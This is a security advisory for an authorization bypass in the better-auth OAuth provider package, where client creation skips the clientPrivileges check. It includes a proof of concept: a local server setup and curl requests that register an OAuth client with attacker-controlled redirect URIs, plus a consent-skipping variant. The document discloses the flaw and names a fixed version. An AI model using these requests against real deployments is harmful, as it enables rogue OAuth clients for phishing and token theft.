Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
8.4

OAuth 2.1 Provider: Unprivileged users can create OAuth clients

GHSA-xr8f-h2gw-9xh6
Summary

Unprivileged users can register new OAuth clients despite security settings. This allows unauthorized access to sensitive data. To fix this, update your OAuth 2.1 provider to ensure client creation is properly restricted.

What to do
  • Update better-auth oauth-provider to version 1.6.5.
Affected software
Ecosystem VendorProductAffected versions
npm better-auth oauth-provider >= 1.4.8-beta.7, < 1.6.5
>= 1.7.0-beta.0, <= 1.7.0-beta.1
Fix: upgrade to 1.6.5
Original title
OAuth 2.1 Provider: Unprivileged users can register OAuth clients
Original description
### Summary
An authorization bypass in the OAuth provider allows any authenticated low-privilege user to create OAuth clients even when the deployment configures clientPrivileges to restrict client creation. The option contract explicitly includes a create action, but the create paths never invoke that callback, so applications that rely on clientPrivileges for RBAC can be silently misconfigured into allowing unauthorized client registration.

### Details
The OAuth provider exposes a clientPrivileges authorization hook whose documented action set includes create:
https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/types/index.ts#L209-L214
However, the two client-creation entry points for the [adminCreateOAuthClient](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/index.ts#L16) and the [createOAuthClient](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/index.ts#L228), both delegate directly to [createOAuthClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/register.ts#L179) without performing a clientPrivileges check.

In contrast, the non-create operations do enforce clientPrivileges in [getClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L17), [getClientsEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L94), [deleteClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L151), [updateClientEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L212) and [rotateClientSecretEndpoint](https://github.com/better-auth/better-auth/blob/c5066fe5d68babf2376cfc63d813de5542eca463/packages/oauth-provider/src/oauthClient/endpoints.ts#L299). Those paths call the hook with read, list, delete, update, and rotate, but there is no corresponding create authorization check before persisting a new oauthClient record.

As a result, an application may reasonably configure clientPrivileges to allow only certain users or roles to manage OAuth clients, while any ordinary authenticated user can still call the create-client route successfully. This breaks the documented security boundary and enables unauthorized creation of OAuth clients with attacker-controlled redirect URIs and metadata.

If the server-only adminCreateOAuthClient endpoint is accidentally exposed to low-privilege authenticated users, an attacker can create OAuth clients with skip_consent enabled, which may allow silent consent bypass for that client and increases phishing and token-abuse risk.

### PoC
Use the following setup to reproduce the authorization bypass in a minimal environment.

1. Start a Better Auth server with oauthProvider and a restrictive clientPrivileges policy that should only allow one user to create OAuth clients.
1. Create two users:
- allowed user
- forbidden user
5. Sign in as the forbidden user and call the authenticated OAuth client creation endpoint.
6. Observe that client creation succeeds even though policy should deny it.

Server configuration example:
```typescript
import { createServer } from "node:http";
import { oauthProvider } from "@better-auth/oauth-provider";
import { betterAuth } from "better-auth";
import { toNodeHandler } from "better-auth/node";
import { jwt } from "better-auth/plugins";

const PORT = 3000;
const BASE_URL = `http://localhost:${PORT}`;
const ALLOWED_EMAIL = "[email protected]";

const auth = betterAuth({
baseURL: BASE_URL,
emailAndPassword: {
enabled: true,
},
plugins: [
oauthProvider({
loginPage: "/login",
consentPage: "/consent",
silenceWarnings: {
oauthAuthServerConfig: true,
openidConfig: true,
},
clientPrivileges({ user }) {
return user?.email === ALLOWED_EMAIL;
},
}),
jwt(),
],
});

const authHandler = toNodeHandler(auth.handler);

const server = createServer(async (req, res) => {
const url = req.url || "/";

if (url.startsWith("/api/auth")) {
await authHandler(req, res);
return;
}

if (url === "/" || url === "/health") {
res.writeHead(200, { "content-type": "application/json" });
res.end(
JSON.stringify({
status: "ok",
message: "OAuth Provider clientPrivileges PoC server is running",
baseURL: BASE_URL,
authBasePath: "/api/auth",
})
);
return;
}

if (url === "/login" || url === "/consent") {
res.writeHead(200, { "content-type": "text/plain; charset=utf-8" });
res.end("Placeholder page for oauthProvider config");
return;
}

res.writeHead(404, { "content-type": "application/json" });
res.end(JSON.stringify({ error: "not_found" }));
});

server.listen(PORT, () => {
console.log(`PoC server running on ${BASE_URL}`);
console.log(`Auth endpoints: ${BASE_URL}/api/auth/*`);
console.log("Use sign-up/email and sign-in/email to create sessions.");
});
```

Sign up forbidden user:
```bash
curl -i -X POST http://localhost:3000/api/auth/sign-up/email \
-H "content-type: application/json" \
-d '{
"email":"[email protected]",
"password":"test123456",
"name":"forbidden user"
}'
```

Sign in with forbidden user (save cookies to txt file):
```bash
curl -i -X POST http://localhost:3000/api/auth/sign-in/email \
-H "content-type: application/json" \
-H "origin: http://localhost:3000" \
-c cookies.txt \
-d '{
"email":"[email protected]",
"password":"test123456"
}'
```

Attempt unauthorized client creation as forbidden user:
```bash
curl -i -X POST http://localhost:3000/api/auth/oauth2/create-client \
-H "content-type: application/json" \
-H "origin: http://localhost:3000" \
-b cookies.txt \
-d '{
"client_name":"attacker-client",
"client_uri":"https://attacker.example/app",
"logo_uri":"https://attacker.example/logo.png",
"contacts":["[email protected]"],
"tos_uri":"https://attacker.example/terms",
"policy_uri":"https://attacker.example/policy",
"redirect_uris":["https://attacker.example/callback"],
"grant_types":["authorization_code"],
"response_types":["code"],
"token_endpoint_auth_method":"client_secret_basic",
"type":"web"
}'
```

Expected result:
HTTP 401 Unauthorized, because clientPrivileges denies create for [email protected].

Actual result:
Client is created successfully (HTTP 200 with client_id and client_secret), demonstrating that create authorization is not enforced through clientPrivileges on this path.

Optional high-impact variant (only if server-only endpoint is exposed by deployment):
Call the admin create endpoint and set skip_consent true to create a client that may bypass user consent flow for that client.

### Impact
This is an authorization bypass (broken access control / RBAC enforcement gap) affecting applications that use oauth-provider and rely on clientPrivileges to restrict who can register OAuth clients.

Potential impact includes:
- Unauthorized registration of attacker-controlled OAuth clients.
- Creation of clients with attacker-chosen redirect URIs and metadata.
- Increased risk of phishing/social engineering through rogue first-party-looking clients.
- Abuse of trust assumptions in downstream OAuth/OIDC flows that treat registered clients as vetted.
Severity is deployment-dependent, but security-relevant by default because a documented access-control hook is bypassed for client creation.
ghsa CVSS4.0 8.4
Vulnerability type
CWE-863 Incorrect Authorization
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026